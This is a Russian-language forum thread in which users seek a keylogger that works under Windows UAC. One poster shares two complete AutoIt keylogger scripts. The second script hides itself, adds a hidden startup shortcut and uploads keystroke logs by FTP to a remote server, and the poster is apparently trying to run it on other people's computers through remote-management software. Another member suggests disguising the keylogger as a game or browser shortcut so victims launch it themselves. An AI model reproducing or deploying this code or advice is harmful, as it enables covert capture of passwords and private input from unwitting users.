Ищу простой кейлогер


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
Нужно искать кейлоггер который-бы работал при включонном уак, там по мойму нужно юзать другое апи, точно не помню уже...
 

Magic_Mushroom

Уважаемый пользователь
Форумчанин
Регистрация
30.06.2014
Сообщения
178
Репутация
78
все еще нужен простой кейлогер работающий с включенным UAC
тот кейлогер оказался крайне не эффективным :с
 

Rufus

Уважаемый пользователь
Форумчанин
Регистрация
14.12.2014
Сообщения
247
Репутация
114
В этой теме : https://ru-sphere.ru/threads/keyscrambler-premium3-4-serial.1968/ проводил небольшой тест кейлоггера.Там же его и выложил.Вполне работоспособная тулза.Попробуй.Только палится наверное сильно.
 

Magic_Mushroom

Уважаемый пользователь
Форумчанин
Регистрация
30.06.2014
Сообщения
178
Репутация
78
спасибо, не совсем то, что мне нужно)
 

Magic_Mushroom

Уважаемый пользователь
Форумчанин
Регистрация
30.06.2014
Сообщения
178
Репутация
78
нужен кейлоггер с таким же функционалом , только чтобы работал стабильно, потому что почти все подобные , мною найденные кейлогеры не работали с включенным UAC
буду благодарен за помощь:)
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208
нужен кейлоггер с таким же функционалом , только чтобы работал стабильно, потому что почти все подобные , мною найденные кейлогеры не работали с включенным UAC
буду благодарен за помощь:)
Вот я в своё время начинал делать, но забросил:https://ru-sphere.ru/threads/lepim-svoj-kejlogger-sami-za-pjat-minut.1976/

Он работает при уак...

Также есть ещё исходник:https://ru-sphere.ru/threads/isxodnik-kejloggera-s-otkrytym-isxodnym-kodom-kidlogger-pro.1747/

Дорабатывать сразу говорю ничего небуду...
 

Magic_Mushroom

Уважаемый пользователь
Форумчанин
Регистрация
30.06.2014
Сообщения
178
Репутация
78
вот объясните мне пожалуйста, какого черта эти 2 кейлогера работают на ура на моем компьютере с включенным UAC, а с запуском через рмс от имени системы , даже без запроса UAC запускаются , но категорически отказываются работать при запуске через рмс на любом другом компьютере? Как об стену !!!
Код:
#RequireAdmin
#NotrayIcon
#include<misc.au3>
$dll=DllOpen("user32.dll")
while 1
Dim $array[70]=[' ','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','[F1]','[F2]','[F3]','[F4]','[F5]','[F6]','[F7]','[F8]','[F9]','[F10]','[F11]','[F12]','e','+',',','-','.','u','o','\',"'",'i','[INVIO]','[SHIFT]','[CTRL]','[ALT]','[ESC]','[SCREEN]','[CANC]','[FRECCIA SINISTRA]','[FRECCIA SU]','[FRECCIA DESTRA]','[FRECCIA GIU]']
        Dim $hex[70]=['20','41','42','43','44','45','46','47','48','49','4A','4B','4C','4D','4E','4F','50','51','52','53','54','55','56','57','58','59','5A','30','31','32','33','34','35','36','37','38','39','70','71','72','73','74','75','76','77','78','79','7A','7B','BA','BB','BC','BD','BE','BF','C0','DC','DB','DD','0D','10','11','12','1B','2C','2E','25','26','27','28']
for $i=0 to 69
If _IsPressed($hex[$i],$dll)Then
          FileWrite ("log.txt",$array[$i])
        EndIf
        While _IsPressed($hex[$i]) = 1
        WEnd
next
WEnd
Код:
#RequireAdmin
#include <GUIConstantsEx.au3>
#include <ButtonConstants.au3>
#include <File.au3>
#include <Misc.au3>

Global $Save, $Num

Logging()
Func Logging()
AutoItSetOption("TrayIconHide", 1)
$Shortcut = FileCreateShortcut(@AutoItExe, @StartupDir & "\" & @ScriptName & ".lnk")
FileSetAttrib($Shortcut, "+H")
$Save = @WindowsDir & "/" & "Log" & $Num & ".txt"
_FileCreate($Save)
While 2
  Local $DLL = DllOpen("user32.dll")
  If _IsPressed("41", $DLL) Then FileWrite($Save, "a")
  While _IsPressed("41", $DLL)
  WEnd
  If _IsPressed("08", $DLL) Then FileWrite($Save, "BACKSPACE ")
  While _IsPressed("08", $DLL)
  WEnd
  If _IsPressed("09", $DLL) Then FileWrite($Save, @TAB)
  While _IsPressed("09", $DLL)
  WEnd
  If _IsPressed("0D", $DLL) Then FileWrite($Save, @CRLF)
  While _IsPressed("0D", $DLL)
  WEnd
  If _IsPressed("20", $DLL) Then FileWrite($Save, " ")
  While _IsPressed("20", $DLL)
  WEnd
  If _IsPressed("30", $DLL) Then FileWrite($Save, "0")
  While _IsPressed("30", $DLL)
  WEnd
  If _IsPressed("31", $DLL) Then FileWrite($Save, "1")
  While _IsPressed("31", $DLL)
  WEnd
  If _IsPressed("32", $DLL) Then FileWrite($Save, "2")
  While _IsPressed("32", $DLL)
  WEnd
  If _IsPressed("33", $DLL) Then FileWrite($Save, "3")
  While _IsPressed("33", $DLL)
  WEnd
  If _IsPressed("34", $DLL) Then FileWrite($Save, "4")
  While _IsPressed("34", $DLL)
  WEnd
  If _IsPressed("35", $DLL) Then FileWrite($Save, "5")
  While _IsPressed("35", $DLL)
  WEnd
  If _IsPressed("36", $DLL) Then FileWrite($Save, "6")
  While _IsPressed("36", $DLL)
  WEnd
  If _IsPressed("37", $DLL) Then FileWrite($Save, "7")
  While _IsPressed("37", $DLL)
  WEnd
  If _IsPressed("38", $DLL) Then FileWrite($Save, "8")
  While _IsPressed("38", $DLL)
  WEnd
  If _IsPressed("39", $DLL) Then FileWrite($Save, "9")
  While _IsPressed("39", $DLL)
  WEnd
  If _IsPressed("42", $DLL) Then FileWrite($Save, "b")
  While _IsPressed("42", $DLL)
  WEnd
  If _IsPressed("43", $DLL) Then FileWrite($Save, "c")
  While _IsPressed("43", $DLL)
  WEnd
  If _IsPressed("44", $DLL) Then FileWrite($Save, "d")
  While _IsPressed("44", $DLL)
  WEnd
  If _IsPressed("45", $DLL) Then FileWrite($Save, "e")
  While _IsPressed("45", $DLL)
  WEnd
  If _IsPressed("46", $DLL) Then FileWrite($Save, "f")
  While _IsPressed("46", $DLL)
  WEnd
  If _IsPressed("47", $DLL) Then FileWrite($Save, "g")
  While _IsPressed("47", $DLL)
  WEnd
  If _IsPressed("48", $DLL) Then FileWrite($Save, "h")
  While _IsPressed("48", $DLL)
  WEnd
  If _IsPressed("49", $DLL) Then FileWrite($Save, "i")
  While _IsPressed("49", $DLL)
  WEnd
  If _IsPressed("4A", $DLL) Then FileWrite($Save, "j")
  While _IsPressed("4A", $DLL)
  WEnd
  If _IsPressed("4B", $DLL) Then FileWrite($Save, "k")
  While _IsPressed("4B", $DLL)
  WEnd
  If _IsPressed("4C", $DLL) Then FileWrite($Save, "l")
  While _IsPressed("4C", $DLL)
  WEnd
  If _IsPressed("4D", $DLL) Then FileWrite($Save, "m")
  While _IsPressed("4D", $DLL)
  WEnd
  If _IsPressed("4F", $DLL) Then FileWrite($Save, "o")
  While _IsPressed("4F", $DLL)
  WEnd
  If _IsPressed("50", $DLL) Then FileWrite($Save, "p")
  While _IsPressed("50", $DLL)
  WEnd
  If _IsPressed("51", $DLL) Then FileWrite($Save, "q")
  While _IsPressed("51", $DLL)
  WEnd
  If _IsPressed("52", $DLL) Then FileWrite($Save, "r")
  While _IsPressed("52", $DLL)
  WEnd
  If _IsPressed("53", $DLL) Then FileWrite($Save, "s")
  While _IsPressed("53", $DLL)
  WEnd
  If _IsPressed("54", $DLL) Then FileWrite($Save, "t")
  While _IsPressed("54", $DLL)
  WEnd
  If _IsPressed("55", $DLL) Then FileWrite($Save, "u")
  While _IsPressed("55", $DLL)
  WEnd
  If _IsPressed("56", $DLL) Then FileWrite($Save, "v")
  While _IsPressed("56", $DLL)
  WEnd
  If _IsPressed("57", $DLL) Then FileWrite($Save, "w")
  While _IsPressed("57", $DLL)
  WEnd
  If _IsPressed("58", $DLL) Then FileWrite($Save, "x")
  While _IsPressed("58", $DLL)
  WEnd
  If _IsPressed("59", $DLL) Then FileWrite($Save, "y")
  While _IsPressed("59", $DLL)
  WEnd
  If _IsPressed("5A", $DLL) Then FileWrite($Save, "z")
  While _IsPressed("5A", $DLL)
  WEnd
  If _IsPressed("BA", $DLL) Then FileWrite($Save, ";")
  While _IsPressed("BA", $DLL)
  WEnd
  If _IsPressed("BB", $DLL) Then FileWrite($Save, "=")
  While _IsPressed("BB", $DLL)
  WEnd
  If _IsPressed("BC", $DLL) Then FileWrite($Save, ",")
  While _IsPressed("BC", $DLL)
  WEnd
  If _IsPressed("BD", $DLL) Then FileWrite($Save, "-")
  While _IsPressed("BD", $DLL)
  WEnd
  If _IsPressed("BE", $DLL) Then FileWrite($Save, ".")
  While _IsPressed("BE", $DLL)
  WEnd
  If _IsPressed("BF", $DLL) Then FileWrite($Save, "/")
  While _IsPressed("BF", $DLL)
  WEnd
  If _IsPressed("C0", $DLL) Then FileWrite($Save, "`")
  While _IsPressed("C0", $DLL)
  WEnd
  If _IsPressed("DB", $DLL) Then FileWrite($Save, "[")
  While _IsPressed("DB", $DLL)
  WEnd
  If _IsPressed("DC", $DLL) Then FileWrite($Save, "\")
  While _IsPressed("DC", $DLL)
  WEnd
  If _IsPressed("DD", $DLL) Then FileWrite($Save, "]")
  While _IsPressed("DD", $DLL)
  WEnd
  If _IsPressed("4E", $DLL) Then FileWrite($Save, "n")
  While _IsPressed("4E", $DLL)
  WEnd
  If _IsPressed("10", $DLL) Then FileWrite($Save, "SHFT")
  While _IsPressed("10", $DLL)
  WEnd
  If _IsPressed("25", $DLL) Then FileWrite($Save, "<")
  While _IsPressed("25", $DLL)
  WEnd
  If _IsPressed("26", $DLL) Then FileWrite($Save, "^")
  While _IsPressed("26", $DLL)
  WEnd
  If _IsPressed("27", $DLL) Then FileWrite($Save, ">")
  While _IsPressed("27", $DLL)
  WEnd
  If _IsPressed("28", $DLL) Then FileWrite($Save, "*")
  While _IsPressed("28", $DLL)
  WEnd
  $LogFileSize = FileGetSize($Save)
  While $LogFileSize = 5120
  $Num += 1
  $Dir = _FTP_CreateDir(@ComputerName)
  _FTP_FileSend($Server, $Username, $Password, $Save, "/" & @ComputerName & "/" & $Num)
  FileDelete($Save)
  Call("Logging")
  WEnd
WEnd
EndFunc  ;==>Logging
добовление #RequireAdmin вроде как должно было решить неработоспособность при включенном UAC, и действительно решило, но только на моем компьютере , я в тупике просто ._.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 085
Репутация
8 208

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
а с запуском через рмс от имени системы , даже без запроса UAC запускаются , но категорически отказываются работать при запуске через рмс на любом другом компьютере?
Дело наверное всё-таки в правах.
На чужом компе,можно к примеру прописать в ярлычок или заменить какой-нибудь файл этим кейлоггером?Чтобы пользователь сам его запустил.К примеру запускает он по привычке и без опасений какую-нить игрушку или браузер,даже окошко от админа не должно его смутить.Ну и в код кейлоггера можно дописать,чтобы после него запускалась нужная пользователю тулза.
Ну и наверное проверку осуществить,запущен ли уже кейлоггер или нет,если-да,то сразу нужную тулзу.
Или же поддельный ярлычок с последующим удалением после запуска.Решение конечно через задницу:)
 

Magic_Mushroom

Уважаемый пользователь
Форумчанин
Регистрация
30.06.2014
Сообщения
178
Репутация
78
Ошибки какие выдаёт ?

Нужно понажимать клавиши, может ненажимает никто ?
ошибок никаких не выдает , кнопочки нажимать пробовал беря управление и просто жмякая по клаве , все равно не пашет, хотя и так вижу , что пользователь нажимает на клавишиНе въехал!!!

Дело наверное всё-таки в правах.
На чужом компе,можно к примеру прописать в ярлычок или заменить какой-нибудь файл этим кейлоггером?Чтобы пользователь сам его запустил.К примеру запускает он по привычке и без опасений какую-нить игрушку или браузер,даже окошко от админа не должно его смутить.Ну и в код кейлоггера можно дописать,чтобы после него запускалась нужная пользователю тулза.
Ну и наверное проверку осуществить,запущен ли уже кейлоггер или нет,если-да,то сразу нужную тулзу.
Или же поддельный ярлычок с последующим удалением после запуска.Решение конечно через задницу:)
решение действительно не очень) NO-no!!!
нет настроения как-то все это проделывать
блин , столько времени прошло, а я , лошпек, до сих пор сижу без рабочего кейлогера, ппц Как об стену !!!
 
Верх Низ